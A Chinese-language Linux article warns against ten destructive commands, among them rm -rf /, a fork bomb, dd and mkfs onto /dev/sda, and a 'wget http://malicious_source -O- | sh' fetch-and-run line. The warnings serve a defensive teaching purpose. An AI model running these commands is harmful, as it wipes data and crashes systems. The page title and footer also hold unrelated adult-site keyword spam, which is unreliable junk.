在线观看www成人影院-在线观看www日本免费网站-在线观看www视频-在线观看操-欧美18在线-欧美1级

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

危險!這10個Linux命令慎用!

jf_HnAzBl9o ? 來源:馬哥Linux運維 ? 作者:馬哥Linux運維 ? 2022-10-27 09:49 ? 次閱讀

Linux 命令行佷有用、很高效,也很有趣,但有時候也很危險,尤其是在你不確定自己正在做什么時候。這篇文章將會向你介紹十條命令,但你最好不要“嘗試”著去使用。

當然,以下命令通常都是在 root 權限下才能將愚蠢發揮到無可救藥;在普通用戶身份下,破壞的只是自己的一畝三分地。

1. rm -rf 命令

rm -rf 命令是刪除文件夾及其內容最快的方式之一。

僅僅一丁點的敲錯或無知都可能導致不可恢復的系統崩壞。

下列是一些 rm 命令的選項:

  • rm命令在 Linux 下通常用來刪除文件。

  • rm -r 命令遞歸的刪除文件夾,甚至是空的文件夾。

  • rm -f 命令能不經過詢問直接刪除‘只讀文件’。Linux 下刪除文件并不在乎該文件是否是只讀的,而只是在意其父目錄是否有寫權限。所以,-f這個參數只是表示不必一個個刪除確認,而是一律悄悄刪除。另外,原始的 rm 命令其實也是沒有刪除提示的,只是一般的發行版都會將 rm 通過別名的方式增加-i參數來要求刪除確認,而-f則抑制了這個提示。

  • rm -rf / : 強制刪除根目錄下所有東東。

  • rm -rf * :強制刪除當前目錄的所有文件。

  • rm -rf . : 強制刪除當前文件夾及其子文件夾。

從現在起,當你要執行 rm -rf 命令時請留心一點。我們可以在“.bashrc”文件對‘rm‘命令創建 rm -i 的別名,來預防用‘rm‘命令刪除文件時的事故,它會要求你確認每一個刪除請求。

譯注:大多數發行版已經這樣做了,如果還沒有,請這樣做,并在使用-f參數前一定考慮好你在做什么!譯者本人有著血淚的教訓啊。

2. :() { :|:& };:命令

這就是個 fork 炸彈的實例。

具體操作是通過定義一個名為‘:‘的函數,它會調用自己兩次,一次在前臺另一次運行在后臺。它會反復的執行下去直到系統崩潰。

#mv/home/user/*/dev/null

3. 命令> /dev/sda

這個命令會將某個‘命令‘的輸出寫到塊設備/dev/sda中。

該操作會將在塊設備中的所有數據塊替換為命令寫入的原始數據,從而導致整個塊設備的數據丟失。

4. mv 文件夾 /dev/null

這個命令會移動某個‘文件夾‘到/dev/null。

在 Linux 中 /dev/null 或 null 設備是一個特殊的文件,所有寫入它的數據都會被清除,然后返回寫操作成功。

當然,要說明的是這個命令并不能阻止數據恢復軟件——所以,真正的徹底毀滅,需要采用專用的軟件或者手法來完成。

5. wget http://malicious_source -O- | sh

該命令會從一個(也許是)惡意源下載一個腳本并執行。

Wget 命令會下載這個腳本,而 sh 會(無條件的)執行下載下來的腳本。

注意: 你應該時刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。

6. mkfs.ext3 /dev/sda

上列命令會格式化塊設備‘sda’,在執行這個命令后你的塊設備(硬盤驅動器)會被格式化,直接讓你的系統達到不可恢復的階段。

通常我們不會直接使用/dev/sda這樣的設備,除非是作為 raw 設備使用。

一般都需要將 sda 分成類似 sda1、sda2 這樣的分區后才使用。當然,無論你使用 sda 還是 sda1,這樣對塊設備或分區進行 mkfs 都是毀滅性的,上面的數據都會被蒸發了。

7. > file

這個命令常用來清空文件內容或記錄命令輸出。

不過請在執行前,確認輸出的文件是空的或者還不存在,否則原來的文件可真是恢復不了了——連數據恢復軟件都未必能幫助你了。

你可能真正想用的是“>>”,即累加新的輸出到文件,而不是刷新那個文件。

如果用上列執行時輸入錯誤或無知的輸入類似 “> xt.conf”的命令會覆蓋配置文件或其他任何的系統配置文件。

8. ^foo^bar

這個命令用來編輯先前運行的命令而無需重打整個命令。

用 foobar 命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。

9. dd if=/dev/random of=/dev/sda

這個命令會向塊設備 sda 寫入隨機的垃圾文件從而擦出數據,讓你的系統可能陷入混亂和不可恢復的狀態。

記得上面說過 mv 到黑洞并不能徹底刪除數據么?那么這個命令就是給了你一個徹底刪除的方法!當然為了保險起見,你可以覆寫多次。

10. 隱藏命令

下面的命令其實就是上面第一個命令 (rm -rf)。

這里的代碼是隱藏在十六進制里的,一個無知的用戶可能就會被愚弄,如果在終端里運行下面命令可能會擦除你的根分區。

真正的危險是隱藏起來的,不會被輕易的檢測到。你必須時刻留心你在做什么結果會怎樣。

切記,千萬不要編譯/運行從未知來源的代碼。

559f176c-5598-11ed-a3b6-dac502259ad0.png

今天給大家帶來的是個命令到這里就結束了啦,請千萬記住不要再服務器或者其他設備上隨意“嘗試“~

如果你想測試它們,請在虛擬機上運行,不然文件丟失或者系統奔潰就不好了。

審核編輯 :李倩


聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • Linux
    +關注

    關注

    87

    文章

    11430

    瀏覽量

    212434
  • 函數
    +關注

    關注

    3

    文章

    4365

    瀏覽量

    63927
  • root
    +關注

    關注

    1

    文章

    86

    瀏覽量

    21580

原文標題:危險!這10個Linux命令慎用,否則可能牢底坐穿!

文章出處:【微信號:網絡工程師筆記,微信公眾號:網絡工程師筆記】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦
    熱點推薦

    Linux常用命令大全

    Linux常用命令是指在Linux操作系統中廣泛使用的命令工具,這些命令工具可以完成各種不同的任務,如管理文件和目錄、操作進程、網絡通信、軟
    的頭像 發表于 05-03 18:08 ?489次閱讀

    5Linux性能監控命令

    vmstat 命令可打印有關內存、交換、I/O 和 CPU 活動的詳細報告。其中包括已用/可用內存、交換入/出、磁盤塊讀/寫和 CPU 進程/閑置時間等指標。
    的頭像 發表于 04-09 10:34 ?214次閱讀

    Linux常用命令行總結

    學習了一段時間的linux之后,開始著手基本命令的學習,這里主要記錄一些學習過程中重要的知識點供以后查閱。
    的頭像 發表于 03-03 10:40 ?370次閱讀
    <b class='flag-5'>Linux</b>常用<b class='flag-5'>命令</b>行總結

    Linux系統中最重要的三命令

    Linux三劍客是Linux系統中最重要的三命令,它們以其強大的功能和廣泛的應用場景而聞名。這三工具的組合使用幾乎可以完美應對Shell
    的頭像 發表于 03-03 10:37 ?305次閱讀

    Linux ip命令常用操作

    Linux?ip命令常用操作 在Linux系統中,ip命令是用于管理網絡接口和路由的強大工具。相比于舊的?ifconfig命令,ip
    的頭像 發表于 02-19 10:23 ?469次閱讀

    常用linux命令

    使用command A | command B | command C命令,將A命令產生的標準輸出作為B命令的標準輸入(注意只能接收前一命令
    的頭像 發表于 01-20 14:26 ?311次閱讀

    Linux實時查看日志的四種命令詳解

    如何在Linux中實時查看日志文件的內容?那么有很多實用程序可以幫助用戶在文件更改或不斷更新時輸出文件的內容。在Linux中實時顯示文件內容的常用命令是tail命令(有效地管理文件)。
    的頭像 發表于 01-13 10:45 ?2255次閱讀
    <b class='flag-5'>Linux</b>實時查看日志的四種<b class='flag-5'>命令</b>詳解

    Linux grep命令詳解

    Linux grep命令是一種非常常用的文本搜索工具,它可以在給定的文件中搜索匹配的字符串,并輸出匹配的行。grep是全稱“global search regular expression print”,可以識別正則表達式,并使用正則表達式進行搜索。
    的頭像 發表于 12-25 09:39 ?633次閱讀

    盤點Linux系統中的常見命令

    作為運維同學怎能不知道Linux系統中的lsmod、lsof、lspci、lsscsi命令呢,今天就來盤一盤她及實例。
    的頭像 發表于 12-03 09:48 ?613次閱讀
    盤點<b class='flag-5'>Linux</b>系統中的常見<b class='flag-5'>命令</b>

    Linux系統中shell命令解析

    shell是Linux系統的用戶界面,提供了用戶與內核交互的一種接口,它接收用戶輸入的命令并到送到內核去執行,因此也被稱為Linux命令解釋器。
    的頭像 發表于 11-05 15:40 ?701次閱讀

    華納云監視Linux磁盤IO性能命令:iotop,iostat,vmstat,atop,dstat,ioping

    以下介紹6監視 Linux 磁盤IO性能的命令(工具),它們分別是iotop、iostat、vmstat、atop、dstat、ioping,以下將附上簡單的使用方法。 前言 磁盤IO
    的頭像 發表于 10-24 14:43 ?524次閱讀

    Linux實用命令大全

    Linux實用命令大全
    的頭像 發表于 10-23 13:50 ?481次閱讀
    <b class='flag-5'>Linux</b>實用<b class='flag-5'>命令</b>大全

    Linux lsof命令的基本用法

    linux 系統中,一切皆文件。通過文件不僅僅可以訪問常規數據,還可以訪問網絡連接和硬件。所以 lsof 命令不僅可以查看進程打開的文件、目錄,還可以查看進程監聽的端口等 socket 相關的信息。本文將介紹 lsof 命令
    的頭像 發表于 10-23 11:52 ?963次閱讀
    <b class='flag-5'>Linux</b> lsof<b class='flag-5'>命令</b>的基本用法

    SD的命令和響應

    完整的?SD?卡操作過程是:主機(單片機等)發起“命令”,SD?卡根據命令的內容決定是 否發送響應信息及數據等,如果是數據讀/寫操作,主機還需要發送停止讀/寫數據的命令來結束 本次
    的頭像 發表于 10-08 15:49 ?1145次閱讀
    SD的<b class='flag-5'>命令</b>和響應

    Linux中cut命令的實用示例

    Linux command cut 用于文本處理。您可以使用此命令通過選擇列從文件中提取部分文本。
    的頭像 發表于 08-05 15:14 ?508次閱讀
    主站蜘蛛池模板: 国产精品午夜久久久久久99热 | 特级毛片aaaaaa蜜桃 | 在线人成精品免费视频 | 三级理论手机在线观看视频 | 51精品视频免费国产专区 | 亚洲精品视频专区 | 中文字幕在线观看一区二区三区 | 国产成人高清一区二区私人 | 黑人边吃奶边扎下面激情视频 | 最刺激黄a大片免费观看下截 | 欧美日韩不卡码一区二区三区 | 手机天堂网 | 2017天天干夜夜操 | 男人j进女人j的一进一出视频 | 天天视频免费观看高清影视 | 婷婷狠狠 | 欧美一级在线免费观看 | 91在线免费看 | 91福利网 | 一区中文字幕 | 狠狠色噜噜狠狠狠狠2018 | 女人张开腿 让男人桶个爽 免费观看 | 免费超爽视频 | 国产精品免费拍拍1000部 | 欧美日韩一区二区三区视视频 | 免费jyzzjyzz在线播放大全 | 91国内在线视频 | 成 人 色综合 | 久久精品国产99国产精品免费看 | 新版天堂中文在线8官网 | 最近高清免费观看视频大全 | 黄色a三级免费看 | h视频国产 | 久久精品久噜噜噜久久 | 视频在线观看一区二区 | 91大神精品视频 | 久久久久久久国产精品电影 | 女同性大尺度床戏视频 | 黄色大片视频 | 一区免费视频 | 黄色午夜网站 |